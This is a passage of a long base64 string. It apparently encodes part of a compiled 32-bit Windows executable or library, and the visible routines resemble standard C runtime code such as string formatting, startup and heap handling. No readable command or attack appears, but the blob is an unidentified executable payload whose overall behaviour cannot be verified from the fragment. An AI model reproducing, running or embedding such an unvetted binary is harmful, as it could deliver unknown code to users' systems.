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4f1CQAA/ySF8G8AEDPAg430+////4mFoPv//4mFxPv//4mF1Pv//4mF3Pv//4mF+Pv//4mF2Pv//+m8CQAAD7fCg+ggdEqD6AN0NoPoCHQlK8d0FYPoAw+FnQkAAION+Pv//wjpkQkAAION+Pv//wTphQkAAION+Pv//wHpeQkAAIGN+Pv//4AAAADpagkAAAm9+Pv//+lfCQAAZoP6KnUsg8MEiZ3k+///i1v8iZ3U+///hdsPjT8JAACDjfj7//8E953U+///6S0JAACLhdT7//9rwAoPt8qNRAjQiYXU+///6RIJAACDpfT7//8A6QYJAABmg/oqdSaDwwSJneT7//+LW/yJnfT7//+F2w+N5ggAAION9Pv////p2ggAAIuF9Pv//2vACg+3yo1ECNCJhfT7///pvwgAAA+3woP4SXRXg/hodEaD+Gx0GIP4dw+FpAgAAIGN+Pv//wAIAADplQgAAGaDPmx1FwP3gY34+///ABAAAIm1wPv//+l4CAAAg434+///EOlsCAAAg434+///IOlgCAAAD7cGZoP4NnUfZoN+AjR1GIPGBIGN+Pv//wCAAACJtcD7///pOAgAAGaD+DN1H2aDfgIydRiDxgSBpfj7////f///ibXA+///6RMIAABmg/hkD4QJCAAAZoP4aQ+E/wcAAGaD+G8PhPUHAABmg/h1D4TrBwAAZoP4eA+E4QcAAGaD+FgPhNcHAACDpaT7//8Ai4XQ+///Uo214Pv//8eF2Pv//wEAAADo+/v//+muBwAAD7fCg/hkD48vAgAAD4TAAgAAg/hTD48bAQAAdH6D6EF0ECvHdFkrx3QIK8cPhe8FAACDwiDHhaD7//8BAAAAiZXo+///g434+///QIO99Pv//wCNtfz7//+4AAIAAIm18Pv//4mF7Pv//w+NkAIAAMeF9Pv//wYAAADp7AIAAPeF+Pv//zAIAAAPhcgAAACDjfj7//8g6bwAAAD3hfj7//8wCAAAdQeDjfj7//8gi730+///g///dQW/////f4PDBPaF+Pv//yCJneT7//+LW/yJnfD7//8PhAgFAACF23ULoSBdARCJhfD7//+Dpez7//8Ai7Xw+///hf8PjiAFAACKBoTAD4QWBQAAjY2o+///D7bAUVDoCNf//1lZhcB0AUZG/4Xs+///Ob3s+///fNDp6wQAAIPoWA+E9wIAACvHD4SUAAAAK8EPhPb+//8rxw+FygQAAA+3A4PDBDP2RvaF+Pv//yCJtdj7//+JneT7//+JhZz7//90QoiFzPv//42FqPv//1CLhaj7///Ghc37//8A/7CsAAAAjYXM+///UI2F/Pv//1DoR1AAAIPEEIXAfQ+JtcT7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pRgQAAIsDg8MEiZ3k+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6QEEAACDpdj7//8A6fcDAAChIF0BEImF8Pv//1DokzEAAFnp4AMAAIP4cA+P+gEAAA+E4gEAAIP4ZQ+MzgMAAIP4Zw+O6f3//4P4aXRxg/hudCiD+G8PhbIDAAD2hfj7//+Ax4Xo+///CAAAAHRhgY34+///AAIAAOtVizODwwSJneT7///oQU8AAIXAD4QwBQAA9oX4+///IHQMZouF4Pv//2aJBusIi4Xg+///iQbHhcT7//8BAAAA6cEEAACDjfj7//9Ax4Xo+///CgAAAPeF+Pv//wCAAAAPhKsBAACLA4tTBIPDCOnnAQAAdRJmg/pndWPHhfT7//8BAAAA61c5hfT7//9+BomF9Pv//4G99Pv//6MAAAB+PYu99Pv//4HHXQEAAFfomBAAAIuV6Pv//1mJhbz7//+FwHQQiYXw+///ib3s+///i/DrCseF9Pv//6MAAACLA4PDCImFlPv//4tD/ImFmPv//42FqPv//1D/taD7//8PvsL/tfT7//+JneT7//9Q/7Xs+///jYWU+///VlD/NUBdARDoTfD//1n/0Iud+Pv//4PEHIHjgAAAAHQhg730+///AHUYjYWo+///UFb/NUxdARDoHfD//1n/0FlZZoO96Pv//2d1HIXbdRiNhaj7//9QVv81SF0BEOj37///Wf/QWVmAPi11EYGN+Pv//wABAABGibXw+///VukE/v//x4X0+///CAAAAImNuPv//+skg+hzD4Rn/P//K8cPhIr+//+D6AMPhckBAADHhbj7//8nAAAA9oX4+///gMeF6Pv//xAAAAAPhGr+//9qMFhmiYXI+///i4W4+///g8BRZomFyvv//4m93Pv//+lF/v//94X4+///ABAAAA+FRf7//4PDBPaF+Pv//yB0HPaF+Pv//0CJneT7//90Bg+/Q/zrBA+3Q/yZ6xf2hfj7//9Ai0P8dAOZ6wIz0omd5Pv///aF+Pv//0B0G4XSfxd8BIXAcxH32IPSAPfagY34+///AAEAAPeF+Pv//wCQAACL2ov4dQIz24O99Pv//wB9DMeF9Pv//wEAAADrGoOl+Pv///e4AAIAADmF9Pv//34GiYX0+///i8cLw3UGIYXc+///jbX7/f//i4X0+////430+///hcB/BovHC8N0LYuF6Pv//5lSUFNX6J5NAACDwTCD+TmJnZD7//+L+IvafgYDjbj7//+IDk7rvY2F+/3//yvGRveF+Pv//wACAACJhez7//+JtfD7//90WYXAdAeLzoA5MHRO/43w+///i43w+///xgEwQOs2hdt1C6EkXQEQiYXw+///i4Xw+///x4XY+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g73E+///AA+FZQEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWGaJhcj7///Hhdz7//8BAAAAi53U+///i7Xs+///K94rndz7///2hfj7//8MdRf/tdD7//+NheD7//9TaiDokfX//4PEDP+13Pv//4u90Pv//42F4Pv//42NyPv//+iY9f//9oX4+///CFl0G/aF+Pv//wR1EldTajCNheD7///oT/X//4PEDIO92Pv//wB1dYX2fnGLvfD7//+Jtej7////jej7//+Nhaj7//9Qi4Wo+////7CsAAAAjYWc+///V1Do3UoAAIPEEImFkPv//4XAfin/tZz7//+LhdD7//+NteD7///ouvT//wO9kPv//4O96Pv//wBZf6brHION4Pv////rE4uN8Pv//1aNheD7///o4/T//1mDveD7//8AfCD2hfj7//8EdBf/tdD7//+NheD7//9TaiDolfT//4PEDIO9vPv//wB0E/+1vPv//+hB1v//g6W8+///AFmLtcD7//8PtwaJhej7//9mhcB0KouNpPv//4ud5Pv//4vQ6Zb1///oIdz//8cAFgAAADPAUFBQUFDpMvX//4C9tPv//wB0CouFsPv//4NgcP2LheD7//+LTfxfXjPNW+hpzf//ycONSQC3ZwAQmWUAEMtlABAoZgAQdWYAEIFmABDIZgAQ2GcAEIv/VYvsgex0BAAAoRxQARAzxYlF/FOLXRRWi3UIM8BX/3UQi30MjY20+///ibXE+///iZ3o+///iYWs+///iYX4+///iYXU+///iYX0+///iYXc+///iYWw+///iYXY+///6P3O//+F9nU16FTb///HABYAAAAzwFBQUFBQ6Nra//+DxBSAvcD7//8AdAqLhbz7//+DYHD9g8j/6c8KAAAz9jv+dRLoGdv//1ZWVlbHABYAAABW68UPtw+JteD7//+Jtez7//+Jtcz7//+Jtaj7//+JjeT7//9mO84PhHQKAABqAloD+jm14Pv//4m9oPv//w+MSAoAAI1B4GaD+Fh3Dw+3wQ+2gKAUARCD4A/rAjPAi7XM+///a8AJD7aEMMAUARBqCMHoBF6Jhcz7//87xg+EM////4P4Bw+H3QkAAP8khZB7ABAzwION9Pv///+JhaT7//+JhbD7//+JhdT7//+Jhdz7//+Jhfj7//+Jhdj7///psAkAAA+3wYPoIHRIg+gDdDQrxnQkK8J0FIPoAw+FhgkAAAm1+Pv//+mHCQAAg434+///BOl7CQAAg434+///AelvCQAAgY34+///gAAAAOlgCQAACZX4+///6VUJAABmg/kqdSuLA4PDBImd6Pv//4mF1Pv//4XAD402CQAAg434+///BPed1Pv//+kkCQAAi4XU+///a8AKD7fJjUQI0ImF1Pv//+kJCQAAg6X0+///AOn9CAAAZoP5KnUliwODwwSJnej7//+JhfT7//+FwA+N3ggAAION9Pv////p0ggAAIuF9Pv//2vACg+3yY1ECNCJhfT7///ptwgAAA+3wYP4SXRRg/hodECD+Gx0GIP4dw+FnAgAAIGN+Pv//wAIAADpjQgAAGaDP2x1EQP6gY34+///ABAAAOl2CAAAg434+///EOlqCAAAg434+///IOleCAAAD7cHZoP4NnUZZoN/AjR1EoPHBIGN+Pv//wCAAADpPAgAAGaD+DN1GWaDfwIydRKDxwSBpfj7////f///6R0IAABmg/hkD4QTCAAAZoP4aQ+ECQgAAGaD+G8PhP8HAABmg/h1D4T1BwAAZoP4eA+E6wcAAGaD+FgPhOEHAACDpcz7//8Ai4XE+///UY214Pv//8eF2Pv//wEAAADoUvD//1npuAcAAA+3wYP4ZA+PMAIAAA+EvQIAAIP4Uw+PGwEAAHR+g+hBdBArwnRZK8J0CCvCD4XsBQAAg8Egx4Wk+///AQAAAImN5Pv//4ON+Pv//0CDvfT7//8AjbX8+///uAACAACJtfD7//+Jhez7//8PjY0CAADHhfT7//8GAAAA6ekCAAD3hfj7//8wCAAAD4XJAAAAg434+///IOm9AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3o+///i1v8iZ3w+///D4QFBQAAhdt1C6EgXQEQiYXw+///g6Xs+///AIu18Pv//4X/D44dBQAAigaEwA+EEwUAAI2NtPv//w+2wFFQ6F7L//9ZWYXAdAFGRv+F7Pv//zm97Pv//3zQ6egEAACD6FgPhPACAAArwg+ElQAAAIPoBw+E9f7//yvCD4XGBAAAD7cDg8MEM/ZG9oX4+///IIm12Pv//4md6Pv//4mFnPv//3RCiIXI+///jYW0+///UIuFtPv//8aFyfv//wD/sKwAAACNhcj7//9QjYX8+///UOicRAAAg8QQhcB9D4m1sPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+lCBAAAiwODwwSJnej7//+FwHQ6i0gEhcl0M/eF+Pv//wAIAAAPvwCJjfD7//90EpkrwseF2Pv//wEAAADp/QMAAIOl2Pv//wDp8wMAAKEgXQEQiYXw+///UOjoJQAAWencAwAAg/hwD4/2AQAAD4TeAQAAg/hlD4zKAwAAg/hnD47o/f//g/hpdG2D+G50JIP4bw+FrgMAAPaF+Pv//4CJteT7//90YYGN+Pv//wACAADrVYszg8MEiZ3o+///6JpDAACFwA+EVvr///aF+Pv//yB0DGaLheD7//9miQbrCIuF4Pv//4kGx4Ww+///AQAAAOnBBAAAg434+///QMeF5Pv//woAAAD3hfj7//8AgAAAD4SrAQAAA96LQ/iLU/zp5wEAAHUSZoP5Z3Vjx4X0+///AQAAAOtXOYX0+///fgaJhfT7//+BvfT7//+jAAAAfj2LvfT7//+Bx10BAABX6PEEAABZi43k+///iYWo+///hcB0EImF8Pv//4m97Pv//4vw6wrHhfT7//+jAAAAiwODwwiJhZT7//+LQ/yJhZj7//+NhbT7//9Q/7Wk+///D77B/7X0+///iZ3o+///UP+17Pv//42FlPv//1ZQ/zVAXQEQ6Kbk//9Z/9CLnfj7//+DxByB44AAAAB0IYO99Pv//wB1GI2FtPv//1BW/zVMXQEQ6Hbk//9Z/9BZWWaDveT7//9ndRyF23UYjYW0+///UFb/NUhdARDoUOT//1n/0FlZgD4tdRGBjfj7//8AAQAARom18Pv//1bpCP7//4m19Pv//8eFrPv//wcAAADrJIPocw+Eavz//yvCD4SK/v//g+gDD4XJAQAAx4Ws+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Rq/v//ajBYZomF0Pv//4uFrPv//4PAUWaJhdL7//+Jldz7///pRf7///eF+Pv//wAQAAAPhUX+//+DwwT2hfj7//8gdBz2hfj7//9AiZ3o+///dAYPv0P86wQPt0P8mesX9oX4+///QItD/HQDmesCM9KJnej7///2hfj7//9AdBuF0n8XfASFwHMR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+j3QQAAg8Ewg/k5iZ2Q+///i/iL2n4GA42s+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dFmFwHQHi86AOTB0Tv+N8Pv//4uN8Pv//8YBMEDrNoXbdQuhJF0BEImF8Pv//4uF8Pv//8eF2Pv//wEAAADrCU9mgzgAdAYDwoX/dfMrhfD7///R+ImF7Pv//4O9sPv//wAPhWUBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFhmiYXQ+///x4Xc+///AQAAAIud1Pv//4u17Pv//yveK53c+///9oX4+///DHUX/7XE+///jYXg+///U2og6Orp//+DxAz/tdz7//+LvcT7//+NheD7//+NjdD7///o8en///aF+Pv//whZdBv2hfj7//8EdRJXU2owjYXg+///6Kjp//+DxAyDvdj7//8AdXWF9n5xi73w+///ibXk+////43k+///jYW0+///UIuFtPv///+wrAAAAI2FnPv//1dQ6DY/AACDxBCJhZD7//+FwH4p/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